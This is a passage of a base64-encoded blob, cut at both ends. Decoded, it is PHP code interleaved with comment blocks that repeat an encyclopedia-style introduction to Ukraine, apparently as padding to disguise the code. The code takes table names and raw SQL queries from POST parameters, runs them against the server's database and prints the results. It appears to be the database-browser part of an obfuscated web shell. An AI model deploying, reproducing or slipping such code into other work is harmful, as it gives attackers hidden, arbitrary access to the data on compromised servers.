ljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykKCQkJCQkJJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKCQkJCQllbHNlCgkJCQkJCSRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwoJCQkJCWVjaG8gIjxicj48YnI+IjsKCQkJCX0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7CgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsKCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsKCQkJCQkJJHRpdGxlID0gZmFsc2U7CgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7CgkJCQkJCSRsaW5lID0gMTsKCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJCQlpZighJHRpdGxlKQl7CgkJCQkJCQkJZWNobyAnPHRyPic7CgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkKCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOwoJCQkJCQkJCXJlc2V0KCRpdGVtKTsKCQkJCQkJCQkkdGl0bGU9dHJ1ZTsKCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOwoJCQkJCQkJCSRsaW5lID0gMjsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJCQlpZigkdmFsdWUgPT0gbnVsbCkKCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwoJCQkJCQkJCWVsc2UKCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAnPC90cj4nOwoJCQkJCQl9CgkJCQkJCWVjaG8gJzwvdGFibGU+JzsKCQkJCQl9IGVsc2UgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGV